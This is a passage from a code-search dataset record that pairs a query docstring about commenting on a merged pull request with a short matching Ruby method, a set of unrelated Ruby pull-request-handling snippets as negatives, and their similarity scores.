"def create_pull_request\n unless uploads.empty?\n branch = patch_branch\n create_branch(branch)\n uploads.each do |key, upload|\n client.create_contents(\n repo,\n upload[\"filename\"],\n \"Create #{upload[\"filename\"]}\",\n session[\"file_#{key}\"],\n :branch => branch\n )\n session[\"file_#{key}\"] = nil\n end\n end\n pr = client.create_pull_request(repo, \"master\", branch, form_data[\"title\"], issue_body, :labels => labels)\n pr[\"number\"] if pr\n end",
"def check_conflict()\n check_results = []\n\n repo_name = github.pr_json[:base][:repo][:full_name]\n\n pull_requests = github.api.pull_requests(repo_name).select do |pr|\n pr[:id] != github.pr_json[:id] && pr[:base][:label] == github.pr_json[:base][:label]\n end\n\n return check_results if pull_requests.empty?\n\n g = Git.open(Dir.pwd)\n\n pull_requests.each do |pr|\n result = {\n pull_request: pr,\n mergeable: true,\n conflicts: []\n }\n\n uuid = SecureRandom.uuid\n\n r = g.add_remote(uuid, pr[:head][:repo][:ssh_url])\n r.fetch()\n\n branch1 = github.pr_json[:head][:ref]\n branch2 = \"#{uuid}/#{pr[:head][:ref]}\"\n\n base = `git merge-base #{branch1} #{branch2}`.chomp\n\n Tempfile.open('tmp') do |f|\n patch = `git format-patch #{base}..#{branch2} --stdout`.chomp\n f.sync = true\n f.puts patch\n out, s = Open3.capture2e(\"git apply --check #{f.path}\")\n\n out.each_line do |line|\n\n if 'patch failed' == line.split(':')[1].strip\n conflict = {\n file: line.split(':')[2].strip,\n line: line.split(':')[3].strip.to_i\n }\n result[:conflicts] << conflict\n end\n end\n\n result[:mergeable] = result[:conflicts].empty?\n end\n\n g.remove_remote(uuid)\n\n check_results << result\n end\n\n check_results\n end",
"def change_git!\n @jobs.each_value do |job|\n job[:value][:scm_branch] = \"origin/pr/#{@number}/head\"\n job[:value][:scm_params] = {} unless job[:value][:scm_params]\n job[:value][:scm_params][:refspec] = 'refs/pull/*:refs/remotes/origin/pr/*'\n end\n end"
] |
[
"0.71203786",
"0.7008041",
"0.6932472",
"0.69051576",
"0.68981373",
"0.6897138",
"0.67153704",
"0.67148423",
"0.6636399",
"0.65673876",
"0.65562963",
"0.65534484",
"0.65391034",
"0.64154947",
"0.6294101",
"0.62899154",
"0.6285311",
"0.62278134",
"0.62205446",
"0.61613804",
"0.6154287",
"0.61147696",
"0.60336894",
"0.60322845",
"0.60265756",
"0.600983",
"0.59430045",
"0.5905963",
"0.5863139",
"0.5859053",
"0.58526576",
"0.58321255",
"0.58319664",
"0.58150125",
"0.5805856",
"0.5802688",
"0.5798757",
"0.5771283",
"0.57550126",
"0.5750526",
"0.5750352",
"0.57291514",
"0.5725921",
"0.5723473",
"0.5723193",
"0.5713993",
"0.56933725",
"0.5685506",
"0.5684183",
"0.5681316",
"0.5671847",
"0.56501687",
"0.5619933",
"0.56172174",
"0.56106466",
"0.5608955",
"0.55991435",
"0.55967915",
"0.5589664",
"0.55826837",
"0.55662745",
"0.555829",
"0.55575174",
"0.55568826",
"0.55557775",
"0.55556035",
"0.55443263",
"0.55443263",
"0.5528891",
"0.55254674",
"0.55252737",
"0.5506647",
"0.5495929",
"0.5492668",
"0.54836434",
"0.5477993",
"0.54690146",
"0.54646176",
"0.5461884",
"0.54325515",
"0.54286134",
"0.5426716",
"0.5424985",
"0.54246324",
"0.54244465",
"0.53961724",
"0.5389937",
"0.53791815",
"0.53791815",
"0.5377223",
"0.5357363",
"0.53496677",
"0.5335784",
"0.53327155",
"0.5332434",
"0.532788",
"0.5324614",
"0.5322908",
"0.5321979",
"0.53146005"
] |
0.86005884
|
0
|
Public: Comment that the pull request was merged into the branch
|
def comment_about_merge
pull_request.write_comment comment_body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def merge_pull_request\n git.merge pull_request.branch\n end",
"def comment_body\n body = \"Merged into #{branch_to_merge_into}.\"\n if options[:user_notifications]\n body << \" /cc #{options[:user_notifications].map {|name| \"@#{name}\"}.join(' ')}\"\n end\n body\n end",
"def merged_with_git?(pr)\n\n #1. Commits from the pull request appear in the master branch\n q = <<-QUERY\n\t select c.sha\n from pull_request_commits prc, commits c\n\t where prc.commit_id = c.id\n\t\t and prc.pull_request_id = ?\n QUERY\n db.fetch(q, pr[:id]).each do |x|\n unless @all_commits.select { |y| x[:sha].start_with? y }.empty?\n return [true, :commits_in_master]\n end\n end\n\n #2. The PR was closed by a commit (using the Fixes: convention).\n # Check whether the commit that closes the PR is in the project's\n # master branch\n unless @closed_by_commit[pr[:github_id]].nil?\n sha = @closed_by_commit[pr[:github_id]]\n unless @all_commits.select { |x| sha.start_with? x }.empty?\n return [true, :fixes_in_commit]\n end\n end\n\n comments = issue_comments(pr[:login], pr[:project_name], pr[:github_id])\n\n comments.reverse.take(3).map { |x| x['body'] }.uniq.each do |last|\n # 3. Last comment contains a commit number\n last.scan(/([0-9a-f]{6,40})/m).each do |x|\n # Commit is identified as merged\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ied)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :commit_sha_in_comments]\n else\n # Commit appears in master branch\n unless @all_commits.select { |y| x[0].start_with? y }.empty?\n return [true, :commit_sha_in_comments]\n end\n end\n end\n\n # 4. Merg[ing|ed] or appl[ing|ed] as last comment of pull request\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ed)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :merged_in_comments]\n end\n end\n\n [false, :unknown]\n end",
"def create_merge_request\n author_id, author_found = user_finder.author_id_for(pull_request)\n\n description = MarkdownText\n .format(pull_request.description, pull_request.author, author_found)\n\n attributes = {\n iid: pull_request.iid,\n title: pull_request.truncated_title,\n description: description,\n source_project_id: project.id,\n target_project_id: project.id,\n source_branch: pull_request.formatted_source_branch,\n target_branch: pull_request.target_branch,\n state: pull_request.state,\n milestone_id: milestone_finder.id_for(pull_request),\n author_id: author_id,\n assignee_id: user_finder.assignee_id_for(pull_request),\n created_at: pull_request.created_at,\n updated_at: pull_request.updated_at\n }\n\n create_merge_request_without_hooks(project, attributes, pull_request.iid)\n end",
"def merged_with_git?(pr)\n\n #1. Commits from the pull request appear in the master branch\n q = <<-QUERY\n\t select c.sha\n from pull_request_commits prc, commits c\n\t where prc.commit_id = c.id\n\t\t and prc.pull_request_id = ?\n QUERY\n db.fetch(q, pr[:id]).each do |x|\n unless @all_commits.select { |y| x[:sha].start_with? y }.empty?\n return [true, :commits_in_master]\n end\n end\n\n #2. The PR was closed by a commit (using the Fixes: convention).\n # Check whether the commit that closes the PR is in the project's\n # master branch\n unless @closed_by_commit[pr[:github_id]].nil?\n sha = @closed_by_commit[pr[:github_id]]\n if not @all_commits.select { |x| sha.start_with? x }.empty?\n return [true, :fixes_in_commit]\n end\n end\n\n comments = issue_comments(pr[:login], pr[:project_name], pr[:github_id])\n\n comments.reverse.take(3).map { |x| x['body'] }.uniq.each do |last|\n # 3. Last comment contains a commit number\n last.scan(/([0-9a-f]{6,40})/m).each do |x|\n # Commit is identified as merged\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ied)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :commit_sha_in_comments]\n else\n # Commit appears in master branch\n unless @all_commits.select { |y| x[0].start_with? y }.empty?\n return [true, :commit_sha_in_comments]\n end\n end\n end\n\n # 4. Merg[ing|ed] or appl[ing|ed] as last comment of pull request\n if last.match(/merg(?:ing|ed)/i) or \n last.match(/appl(?:ying|ed)/i) or\n last.match(/pull[?:ing|ed]/i) or\n last.match(/push[?:ing|ed]/i) or\n last.match(/integrat[?:ing|ed]/i) \n return [true, :merged_in_comments]\n end\n end\n\n [false, :unknown]\n end",
"def merge_pull_request(repo, number, commit_message='', options = {})\n put \"#{Repository.path repo}/pulls/#{number}/merge\", options.merge({:commit_message => commit_message})\n end",
"def update\n @pullRequest = PullRequest.find(params[:id])\n\t\t@git = Git.init()\n\t\tDir.chdir(@pullRequest.source_repo.path)\n\t\trequestor_path = \"#{@pullRequest.repository.path}\"\n\t\t@git.pull(requestor_path, \"master\") # fetch and a merge\n\t\t@pullRequest.status = \"ACCEPTED\"\n if @pullRequest.save\n\t\t\trespond_with(@pullRequest)\n\t\telse\n\t\t\trender json: {error: \"An error occurred while updating your pull request\"}\n end\n end",
"def execute\n if (!self.pull_request_id)\n current = GitHub::PullRequest.current\n self.pull_request_id = current.number if current\n end\n self.pull_request_id ||= cli.prompt(\"Pull Request ID: \")\n GitHub.connect do\n if config.deployable_label\n with_labelling do\n merge\n end\n else\n merge\n end\n end\n end",
"def merge_branch\n git.merge branch\n rescue Git::MergeFailed\n cli.say \"Merge failed. Please resolve these conflicts.\"\n end",
"def pull_request(_input)\n puts 'TODO: Implement Git.pull_request'\n # TODO: Validate input\n # input[:issue].to_s\n # input[:base_branch].to_s\n end",
"def set_mergeable(id, repo, login, comments=nil)\n merge_id=\"#{repo}_#{id}_#{login}\"\n count = MERGEABLE\n previous_merge_result=`grep #{merge_id} ~/test_pull_request_not_mergeable`.chomp\n if !previous_merge_result.empty? && previous_merge_result =~ /#{merge_id}=(\\d+)/\n count = $1.to_i\n end\n if count <= MERGEABLE\n # If our counter has saturated at 0, we want to remove any comments and labels about\n # rebasing as this pull request is mergeable\n `sed -i \"/#{merge_id}=/d\" ~/test_pull_request_not_mergeable`\n comments = get_comments(id, repo) if comments.nil?\n\n # In the majority of cases, we have all of the comments for a pull request, so we can\n # look to see if an ACTION_NOT_MERGE comment exists with zero additional API traffic.\n # If we find an ACTION_NOT_MERGE comment, we remove it, and furthermore we know we should\n # also delete the NEEDS_REBASE_LABEL. If we didn't remove the comment (because it didn't\n # exist, or because we failed through the API), we want to try to remove the label\n # anyway to ensure that the UX for PRs is good. Since we do *not* have the labels for\n # a PR, this is a costly operation, so we do not attempt to do it always, only when we\n # know for sure we need to, or once in a while randomly.\n if delete_comment_with_prefix(id, repo, ACTION_NOT_MERGE, comments) || (rand(5) < 1)\n remove_labels(id, repo, [NEEDS_REBASE_LABEL])\n end\n else\n # If our counter is not saturated, we pull it towards 0\n `sed -i \"/#{merge_id}=/d\" ~/test_pull_request_not_mergeable && echo \"#{merge_id}=#{(count-1).to_s}\" >> ~/test_pull_request_not_mergeable`\n end\n end",
"def annotate\n if all_commit_authors_are_cla_signers?\n add_success_label\n\n if @pull_request.comments.any? &&\n @pull_request.comments.last.required_authorization?\n leave_all_authorized_comment\n end\n else\n remove_existing_label\n\n leave_failure_comment\n end\n end",
"def summary(picked, unpicked)\n return if version.monthly?\n return if picked.empty? && unpicked.empty?\n\n message = []\n\n if picked.any?\n message << <<~MSG\n Successfully picked the following merge requests:\n\n #{markdown_list(picked.collect(&:url))}\n MSG\n end\n\n if unpicked.any?\n message << <<~MSG\n Failed to pick the following merge requests:\n\n #{markdown_list(unpicked.collect(&:url))}\n MSG\n end\n\n create_merge_request_comment(target, message.join(\"\\n\"))\n end",
"def set_title_and_description(merge_request)\n if match = merge_request.source_branch.match(/\\A(\\d+)-/)\n iid = match[1]\n end\n\n commits = merge_request.compare_commits\n if commits && commits.count == 1\n commit = commits.first\n merge_request.title = commit.title\n merge_request.description ||= commit.description.try(:strip)\n elsif iid && (issue = merge_request.target_project.get_issue(iid)) && !issue.try(:confidential?)\n case issue\n when Issue\n merge_request.title = \"Resolve \\\"#{issue.title}\\\"\"\n when ExternalIssue\n merge_request.title = \"Resolve #{issue.title}\"\n end\n else\n merge_request.title = merge_request.source_branch.titleize.humanize\n end\n\n if iid\n closes_issue = \"Closes ##{iid}\"\n\n if merge_request.description.present?\n merge_request.description += closes_issue.prepend(\"\\n\\n\")\n else\n merge_request.description = closes_issue\n end\n end\n\n merge_request\n end",
"def announce\n cli.say \"Preparing a pull request for #{config.github_repo}/#{git.current_branch} to #{config.github_repo}/#{destination_branch}.\"\n end",
"def pull_request_comment(repo, comment_id, options = {})\n get \"#{Repository.path repo}/pulls/comments/#{comment_id}\", options\n end",
"def leave_failure_comment\n most_recent_comment = @pull_request.comments.last || Curry::PullRequestComment.new\n potential_comment = @pull_request.comments.new(\n unauthorized_commit_authors: unauthorized_commit_emails_and_logins\n )\n\n if potential_comment.mentioned_commit_authors != most_recent_comment.mentioned_commit_authors\n @octokit.add_comment(\n @repository.full_name,\n @pull_request.number,\n failure_message\n ).tap do |comment|\n potential_comment.github_id = comment.id\n potential_comment.save!\n end\n else\n most_recent_comment.touch\n end\n end",
"def checkPullRequest(id, fork=true)\n summary = getPullRequestSummary(id)\n puts \"checking pull request #{id}, branch #{summary.branch}\"\n files = getPullRequestFiles(id)\n `hg log -r #{summary.destination} 2>&1`\n if $? != 0\n puts \"Unknown revision #{summary.destination}, try: hg pull\"\n return\n end\n `hg log -r #{summary.source} 2>&1`\n if $? != 0\n puts \"Unknown revision #{summary.source}, try: hg pull \" +\n \"(it could also be a fork)\"\n return\n end\n ancestor=`hg log -r \"ancestor(#{summary.source},#{summary.destination})\" | head -1 | sed -e 's@.*:@@'`.chomp\n if ancestor != summary.destination\n puts \"Need to merge branch #{summary.branch} with #{summary.destination}\"\n end\n checkFiles(files, summary.source, fork)\n end",
"def is_branch_build\n self.pull_request_number == '-1'\n end",
"def create_merge_request\n author_id, author_found = user_finder.author_id_for(pull_request)\n\n description = MarkdownText\n .format(pull_request.description, pull_request.author, author_found)\n\n # This work must be wrapped in a transaction as otherwise we can leave\n # behind incomplete data in the event of an error. This can then lead\n # to duplicate key errors when jobs are retried.\n MergeRequest.transaction do\n attributes = {\n iid: pull_request.iid,\n title: pull_request.truncated_title,\n description: description,\n source_project_id: project.id,\n target_project_id: project.id,\n source_branch: pull_request.formatted_source_branch,\n target_branch: pull_request.target_branch,\n state: pull_request.state,\n milestone_id: milestone_finder.id_for(pull_request),\n author_id: author_id,\n assignee_id: user_finder.assignee_id_for(pull_request),\n created_at: pull_request.created_at,\n updated_at: pull_request.updated_at\n }\n\n # When creating merge requests there are a lot of hooks that may\n # run, for many different reasons. Many of these hooks (e.g. the\n # ones used for rendering Markdown) are completely unnecessary and\n # may even lead to transaction timeouts.\n #\n # To ensure importing pull requests has a minimal impact and can\n # complete in a reasonable time we bypass all the hooks by inserting\n # the row and then retrieving it. We then only perform the\n # additional work that is strictly necessary.\n merge_request_id = GithubImport\n .insert_and_return_id(attributes, project.merge_requests)\n\n merge_request = project.merge_requests.find(merge_request_id)\n\n # These fields are set so we can create the correct merge request\n # diffs.\n merge_request.source_branch_sha = pull_request.source_branch_sha\n merge_request.target_branch_sha = pull_request.target_branch_sha\n\n merge_request.keep_around_commit\n merge_request.merge_request_diffs.create\n\n merge_request.id\n end\n rescue ActiveRecord::InvalidForeignKey\n # It's possible the project has been deleted since scheduling this\n # job. In this case we'll just skip creating the merge request.\n end",
"def add_pull_request_comment(project_id_or_key, repository_id_or_name, pull_request_number, params = {})\n get(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests/#{pull_request_number}/comments\", params)\n end",
"def check_conflict_and_comment()\n results = check_conflict()\n\n results.each do |result|\n next if result[:mergeable]\n message = \"<p>This PR conflicts with <a href=\\\"#{result[:pull_request][:html_url]}\\\">##{result[:pull_request][:number]}</a>.</p>\"\n table = '<table><thead><tr><th width=\"100%\">File</th><th>Line</th></tr></thead><tbody>' + result[:conflicts].map do |conflict|\n file = conflict[:file]\n line = conflict[:line]\n line_link = \"#{result[:pull_request][:head][:repo][:html_url]}/blob/#{result[:pull_request][:head][:ref]}/#{file}#L#{line}\"\n \"<tr><td>#{file}</td><td><a href=\\\"#{line_link}\\\">#L#{line}</a></td></tr>\"\n end.join('') + '</tbody></table>'\n puts (message + table)\n warn(\"<div>\" + message + table + \"</div>\")\n end\n\n results\n end",
"def cmd\n lines = [\"git checkout #{target_branch}\"]\n c = [\"git merge --no-ff --log\"]\n c << %(-m \"#{message}\") unless story_ids.empty?\n c << argument_string(unknown_options) unless unknown_options.empty?\n c << story_branch\n lines << c.join(' ')\n lines.join(\"\\n\")\n end",
"def merge_branch( tag=@current_branch, actor=nil )\n raise \"Invalid branch '#{tag}'\" if not is_head?(tag)\n\n tag.gsub!(/['\\\\]/, '')\n\n # switch to master branch\n set_branch(DEFAULT_BRANCH, actor)\n\n # merge target branch to master branch\n\n rv = nil\n begin\n rv = exec_git_cmd(\"git merge -n --no-ff --no-log --no-squash '#{tag}'\", \n actor)\n rescue CommandError => e\n $stderr.puts e.message\n end\n rv\n end",
"def pr_description\n danger_file.warn('Please provide a summary in the Pull Request description') if danger_file.github.pr_body.length < 3 && danger_file.git.lines_of_code > 10\n end",
"def perform\n git.if_clean do\n check_out_branch\n merge_pull_request\n comment_about_merge\n end\n rescue => e\n case e\n when GitHub::PullRequest::NotFound\n cli.say \"Unable to find pull request #{pull_request_id}. Please retry with a valid ID.\"\n when Git::MergeFailed\n cli.say \"Merge failed. Please identify the source of this merge conflict resolve this conflict in your pull request's branch. NOTE: Merge conflicts resolved in the #{branch_type} branch are NOT used when deploying.\"\n when Git::CheckoutFailed\n cli.say \"Checkout of #{branch_to_merge_into} failed. Please contact Infrastructure to determine the cause.\"\n when GitHub::PullRequest::CommentFailed\n cli.say \"Unable to write comment. Please navigate to #{pull_request.url} and add the comment, '#{comment_body}'\"\n else\n cli.say \"An unknown error occurred: #{e.inspect}\"\n end\n raise\n end",
"def add_merge(options={})\n if message = options[:message]\n message = \"-m '#{message}'\"\n end\n branch = options[:branch] || \"foobar\"\n base = options[:base] || \"master\"\n sh(\"git checkout -b #{branch} 2>&1 && echo asd >> xxx && git commit -am 'xxx' && git checkout #{base} 2>&1 && git merge #{branch} --no-ff #{message}\")\n commits = last_commits\n return commits[0], commits[1]\n end",
"def execute\n if (!self.pull_request_id)\n current = GitHub::PullRequest.current\n self.pull_request_id = current.number if current\n end\n self.pull_request_id ||= cli.prompt(\"Pull Request ID: \")\n GitHub.connect do\n unless deployable? || @force\n CLI.say 'Pull request status checks have not passed. Cannot be marked deployable.'\n exit!\n end\n\n merge_result = merge\n add_deployable_label if config.deployable_label && merge_result\n end\n end",
"def right_review_comment(repo, pull_number, body, commit_id, path, options = {})\n options[:side] = 'RIGHT'\n opts = options.dup\n opts[:body] = body\n opts[:commit_id] = commit_id\n opts[:path] = path\n post \"#{Repository.path repo}/pulls/#{pull_number}/comments\", opts\n end",
"def update_pull_request_comment(project_id_or_key, repository_id_or_name, pull_request_number, comment_id, content)\n patch(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests/#{pull_request_number}/comments/#{comment_id}\", content: content)\n end",
"def gh_pull_request(data, config)\n action = data['action'] || nil\n pr = data['pull_request'] || nil\n\n Cyclid.logger.debug \"action=#{action}\"\n return true unless action == 'opened' \\\n or action == 'reopened' \\\n or action == 'synchronize'\n\n # Get the list of files in the root of the repository in the\n # Pull Request branch\n html_url = URI(pr['base']['repo']['html_url'])\n pr_sha = pr['head']['sha']\n ref = pr['head']['ref']\n\n Cyclid.logger.debug \"sha=#{pr_sha} ref=#{ref}\"\n\n # Get some useful endpoints & interpolate the SHA for this PR\n url = pr['head']['repo']['statuses_url']\n statuses = url.gsub('{sha}', pr_sha)\n\n url = pr['head']['repo']['trees_url']\n trees = url.gsub('{/sha}', \"/#{pr_sha}\")\n\n # Get an OAuth token, if one is set for this repo\n Cyclid.logger.debug \"attempting to find auth token for #{html_url}\"\n auth_token = nil\n config['repository_tokens'].each do |entry|\n entry_url = URI(entry['url'])\n auth_token = entry['token'] if entry_url.host == html_url.host && \\\n entry_url.path == html_url.path\n end\n\n # XXX We probably don't want to be logging auth tokens in plain text\n Cyclid.logger.debug \"auth token=#{auth_token}\"\n\n # Set the PR to 'pending'\n GithubStatus.set_status(statuses, auth_token, 'pending', 'Preparing build')\n\n # Get the Pull Request\n begin\n trees_url = URI(trees)\n Cyclid.logger.debug \"Getting root for #{trees_url}\"\n\n request = Net::HTTP::Get.new(trees_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(trees_url.hostname, trees_url.port)\n http.use_ssl = (trees_url.scheme == 'https')\n response = http.request(request)\n\n Cyclid.logger.debug response.inspect\n raise \"couldn't get repository root\" \\\n unless response.code == '200'\n\n root = Oj.load response.body\n rescue StandardError => ex\n Cyclid.logger.error \"failed to retrieve Pull Request root: #{ex}\"\n return_failure(500, 'could not retrieve Pull Request root')\n end\n\n # See if a .cyclid.yml or .cyclid.json file exists in the project\n # root\n job_url = nil\n job_type = nil\n root['tree'].each do |file|\n match = file['path'].match(/\\A\\.cyclid\\.(json|yml)\\z/)\n next unless match\n\n job_url = URI(file['url'])\n job_type = match[1]\n end\n\n Cyclid.logger.debug \"job_url=#{job_url}\"\n\n if job_url.nil?\n GithubStatus.set_status(statuses, auth_token, 'error', 'No Cyclid job file found')\n return_failure(400, 'not a Cyclid repository')\n end\n\n # Pull down the job file\n begin\n Cyclid.logger.info \"Retrieving PR job from #{job_url}\"\n\n request = Net::HTTP::Get.new(job_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(job_url.hostname, job_url.port)\n http.use_ssl = (job_url.scheme == 'https')\n response = http.request(request)\n raise \"couldn't get Cyclid job\" unless response.code == '200'\n\n job_blob = Oj.load response.body\n case job_type\n when 'json'\n job_definition = Oj.load(Base64.decode64(job_blob['content']))\n when 'yml'\n job_definition = YAML.load(Base64.decode64(job_blob['content']))\n end\n\n # Insert this repository & branch into the sources\n #\n # XXX Could this cause collisions between the existing sources in\n # the job definition? Not entirely sure what the workflow will\n # look like.\n job_sources = job_definition['sources'] || []\n job_sources << { 'type' => 'git',\n 'url' => html_url.to_s,\n 'branch' => ref,\n 'token' => auth_token }\n job_definition['sources'] = job_sources\n\n Cyclid.logger.debug \"sources=#{job_definition['sources']}\"\n rescue StandardError => ex\n GithubStatus.set_status(statuses,\n auth_token,\n 'error',\n \"Couldn't retrieve Cyclid job file\")\n Cyclid.logger.error \"failed to retrieve Github Pull Request job: #{ex}\"\n raise\n end\n\n Cyclid.logger.debug \"job_definition=#{job_definition}\"\n\n begin\n callback = GithubCallback.new(statuses, auth_token)\n job_from_definition(job_definition, callback)\n rescue StandardError => ex\n GithubStatus.set_status(statuses, auth_token, 'failure', ex)\n return_failure(500, 'job failed')\n end\n end",
"def ok_to_merge?(pull_request, data)\n pull_request.mergeable?\n # status_ok?(pull_request) &&\n # required_users_ok?(pull_request, data) &&\n # score_ok?(pull_request)\n end",
"def append_comment_to_other_info(other_info, str)\n if other_info.present?\n other_info += \"\\n\"\n else\n other_info = \"\"\n end\n other_info += \"MIGRATION_ISSUE: #{str}\"\n other_info\n end",
"def pr_log_msg(req)\n head = if pr_has_head_repo(req)\n req['head']['repo']['full_name']\n else\n '(head deleted)'\n end\n\n <<-eos.gsub(/\\s+/, ' ').strip\n pull_req #{req['number']}\n #{head} -> #{req['base']['repo']['full_name']}\n eos\n end",
"def merge(build)\n Rails.logger.info(\"Trying to merge branch: #{build.branch} to master after build id: #{build.id}\")\n\n checkout_log, status = Open3.capture2e(\"git checkout master && git pull\")\n raise_and_log(\"Was unable checkout and pull master:\\n\\n#{checkout_log}\") if status.exitstatus != 0\n\n commit_message = \"Kochiku merge of branch #{build.branch} for build id: #{build.id} ref: #{build.ref}\"\n merge_log, status = Open3.capture2e(merge_env, \"git merge --no-ff -m '#{commit_message}' #{build.ref}\")\n abort_merge_and_raise(\"git merge --abort\",\n \"Was unable to merge your branch:\\n\\n#{merge_log}\") unless status.success?\n\n push_log, status = Open3.capture2e(\"git push origin master\")\n rebase_log, second_push_log = recover_failed_push unless status.success?\n\n [checkout_log, merge_log, push_log, rebase_log, second_push_log].join(\"\\n\")\n end",
"def ci_hook\n case request.headers['HTTP_X_GITHUB_EVENT']\n when 'pull_request'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n case data['action']\n when 'opened', 'synchronize'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'pending',\n description: 'An Approve review is required before pull requests can be merged.',\n context: 'metasmoke/ci'\n )\n end\n render plain: \"#{commits.length} commits set to pending.\"\n else\n render(plain: 'Not a newly-opened or updated PR; not interested.') && return\n end\n when 'pull_request_review'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n review = data['review']\n if data['action'] == 'submitted' && review['state'] == 'approved'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'success',\n description: 'PR approved :)',\n context: 'metasmoke/ci'\n )\n end\n\n render plain: \"#{commits.length} commits approved.\"\n else\n render(plain: 'Not a submitted Approve review; not interested.') && return\n end\n else\n render(plain: \"Pretty sure we don't subscribe to that event.\") && return\n end\n end",
"def update_pull_request_comment(repo, comment_id, body, options = {})\n options.merge! :body => body\n patch(\"#{Repository.path repo}/pulls/comments/#{comment_id}\", options)\n end",
"def merge(number)\n request = get_request_by_number(number)\n if request.head.repo\n message = \"Accept request ##{request.number} \" +\n \"and merge changes into \\\"#{local.target}\\\"\"\n command = \"merge -m '#{message}' #{request.head.sha}\"\n puts\n puts \"Request title:\"\n puts \" #{request.title}\"\n puts\n puts \"Merge command:\"\n puts \" git #{command}\"\n puts\n puts git_call(command)\n else\n print_repo_deleted(request)\n end\n end",
"def uri_comment_on_pull(id)\n uri_parts(\n \"/repos/#{@github_user}/#{@github_repo}/issues/#{id}/comments\"\n ).values.join\n end",
"def create_pull_request_comment(repo, pull_id, body, commit_id, path, position, options = {})\n options.merge!({\n :body => body,\n :commit_id => commit_id,\n :path => path,\n :position => position\n })\n post \"#{Repository.path repo}/pulls/#{pull_id}/comments\", options\n end",
"def cmt\n @cmt_procs.call('Committing')\n self\n end",
"def merge(join_request)\n work = ::GitFunctionality::Repo.new.get_working_repo(join_request.curricula)\n work.checkout(join_request.target_stream)\n work.fetch\n work.pull\n work.merge(join_request.source_stream)\n work.branch(join_request.source_stream).delete\n work.push\n work.fetch\n work.pull\n end",
"def get_merged(br)\n __branches \"-l --merged #{br}\"\nend",
"def merge(branch, message = 'merge', opts = {})\n self.lib.merge(branch, message, opts)\n end",
"def process_pull_request(pr, lang)\n\n # Statistics across pull request commits\n stats = pr_stats(pr)\n merged = !pr[:merged_at].nil?\n git_merged, merge_reason, merge_person = @close_reason[pr[:github_id]]\n\n # Count number of src/comment lines\n src = src_lines(pr[:id].to_f)\n\n if src == 0 then raise Exception.new(\"Bad src lines: 0, pr: #{pr[:github_id]}, id: #{pr[:id]}\") end\n\n months_back = 3\n commits_incl_prs = commits_last_x_months(pr, false, months_back)\n prev_pull_reqs = prev_pull_requests(pr,'opened')\n\n # Create line for a pull request\n {\n :pull_req_id => pr[:id],\n :project_name => \"#{pr[:login]}/#{pr[:project_name]}\",\n :lang => lang,\n :github_id => pr[:github_id],\n :created_at => Time.at(pr[:created_at]).to_i,\n :merged_at => merge_time(pr, merged, git_merged),\n :closed_at => Time.at(pr[:closed_at]).to_i,\n :lifetime_minutes => pr[:lifetime_minutes],\n :mergetime_minutes => merge_time_minutes(pr, merged, git_merged),\n :merged_using => merge_reason.to_s,\n :conflict => conflict?(pr),\n :forward_links => forward_links?(pr),\n :team_size => team_size_at_open(pr, months_back),\n :num_commits => num_commits(pr),\n :num_commits_open => num_commits_at_open(pr),\n :num_pr_comments => num_pr_comments(pr),\n :num_issue_comments => num_issue_comments(pr),\n :num_commit_comments => num_commit_comments(pr),\n :num_comments => num_pr_comments(pr) + num_issue_comments(pr) + num_commit_comments(pr),\n :num_participants => num_participants(pr),\n :files_added => stats[:files_added],\n :files_deleted => stats[:files_removed],\n :files_modified => stats[:files_modified],\n :files_changed => stats[:files_added] + stats[:files_modified] + stats[:files_removed],\n :src_files => stats[:src_files],\n :doc_files => stats[:doc_files],\n :other_files => stats[:other_files],\n :perc_external_contribs => commits_last_x_months(pr, true, months_back) / commits_incl_prs,\n :sloc => src,\n :src_churn => stats[:lines_added] + stats[:lines_deleted],\n :test_churn => stats[:test_lines_added] + stats[:test_lines_deleted],\n :commits_on_files_touched => commits_on_files_touched(pr, months_back),\n :commits_to_hottest_file => commits_to_hottest_file(pr, months_back),\n :test_lines_per_kloc => (test_lines(pr[:id]).to_f / src.to_f) * 1000,\n :test_cases_per_kloc => (num_test_cases(pr[:id]).to_f / src.to_f) * 1000,\n :asserts_per_kloc => (num_assertions(pr[:id]).to_f / src.to_f) * 1000,\n :watchers => watchers(pr),\n :requester => requester(pr),\n :closer => closer(pr),\n :merger => merge_person,\n :prev_pullreqs => prev_pull_reqs,\n :requester_succ_rate => if prev_pull_reqs > 0 then prev_pull_requests(pr, 'merged').to_f / prev_pull_reqs.to_f else 0 end,\n :followers => followers(pr),\n :intra_branch => if intra_branch?(pr) == 1 then true else false end,\n :main_team_member => main_team_member?(pr, months_back),\n :social_connection_tsay => social_connection_tsay?(pr),\n :hotness_vasilescu => hotness_vasilescu(pr, months_back),\n :team_size_vasilescu => team_size_vasilescu(pr, months_back),\n :description_complexity => description_complexity(pr),\n :workload => workload(pr),\n :prior_interaction_issue_events => prior_interaction_issue_events(pr, months_back),\n :prior_interaction_issue_comments => prior_interaction_issue_comments(pr, months_back),\n 